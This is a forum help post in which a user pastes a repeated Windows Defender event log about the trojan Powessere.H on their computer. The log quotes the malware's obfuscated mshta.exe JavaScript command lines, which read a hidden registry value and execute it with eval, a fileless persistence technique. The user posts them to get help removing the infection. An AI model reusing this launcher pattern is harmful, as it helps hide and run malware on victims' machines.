- Mar 4, 2018
- 3
Event Viewer gave this information on Event 1116 which is one of many similar events that occur each time I turn on my computer:
Windows Defender Antivirus has detected malware or other potentially unwanted software.
For more information please see the following:
Trojan:Win32/Powessere.H threat description - Windows Defender Security Intelligence
Name: Trojan:Win32/Powessere.H
ID: 2147726088
Severity: Severe
Category: Trojan
Path: CmdLine:_\Device\HarddiskVolume3\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C start "" mshta.exe "javascript:np8si="wPk";U5s=new ActiveXObject("WScript.Shell");DY3YUb4="cf0QT2cs";ht9kH1=U5s.RegRead("HKCU\\software\\eewn\\jmvryxenjm");B9OL8lS="v3R7";eval(ht9kH1);yod1qRHe="najkzw5";";CmdLine:_\Device\HarddiskVolume3\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C start "" mshta.exe "javascript1ytp3UQ="OsEleDvM";T9w9=new ActiveXObject("WScript.Shell");jqZ5p="z85p";O1w2wW=T9w9.RegRead("HKCU\\software\\eewn\\jmvryxenjm");W0kFQ0aRP="Moquky";eval(O1w2wW);yevFGLg7="TNvL";";CmdLine:_\Device\HarddiskVolume3\Windows\System32\mshta.exe "mshta.exe" "javascript:HIYtYH1X="BbcyJUP";rs47=new ActiveXObject("WScript.Shell");iM5UN9Ac="X";mYgT0=rs47.RegRead("HKCU\\software\\eewn\\jmvryxenjm");S1Slz="ZtF9r";eval(mYgT0);RuWi9="jbZ8qk";"
Detection Origin: Unknown
Detection Type: Concrete
Detection Source: System
User: NT AUTHORITY\SYSTEM
Process Name: Unknown
Signature Version: AV: 1.263.119.0, AS: 1.263.119.0, NIS: 118.2.0.0
Engine Version: AM: 1.1.14600.4, NIS: 2.1.14202.0
Windows Defender Antivirus has detected malware or other potentially unwanted software.
For more information please see the following:
Trojan:Win32/Powessere.H threat description - Windows Defender Security Intelligence
Name: Trojan:Win32/Powessere.H
ID: 2147726088
Severity: Severe
Category: Trojan
Path: CmdLine:_\Device\HarddiskVolume3\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C start "" mshta.exe "javascript:np8si="wPk";U5s=new ActiveXObject("WScript.Shell");DY3YUb4="cf0QT2cs";ht9kH1=U5s.RegRead("HKCU\\software\\eewn\\jmvryxenjm");B9OL8lS="v3R7";eval(ht9kH1);yod1qRHe="najkzw5";";CmdLine:_\Device\HarddiskVolume3\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C start "" mshta.exe "javascript1ytp3UQ="OsEleDvM";T9w9=new ActiveXObject("WScript.Shell");jqZ5p="z85p";O1w2wW=T9w9.RegRead("HKCU\\software\\eewn\\jmvryxenjm");W0kFQ0aRP="Moquky";eval(O1w2wW);yevFGLg7="TNvL";";CmdLine:_\Device\HarddiskVolume3\Windows\System32\mshta.exe "mshta.exe" "javascript:HIYtYH1X="BbcyJUP";rs47=new ActiveXObject("WScript.Shell");iM5UN9Ac="X";mYgT0=rs47.RegRead("HKCU\\software\\eewn\\jmvryxenjm");S1Slz="ZtF9r";eval(mYgT0);RuWi9="jbZ8qk";"
Detection Origin: Unknown
Detection Type: Concrete
Detection Source: System
User: NT AUTHORITY\SYSTEM
Process Name: Unknown
Signature Version: AV: 1.263.119.0, AS: 1.263.119.0, NIS: 118.2.0.0
Engine Version: AM: 1.1.14600.4, NIS: 2.1.14202.0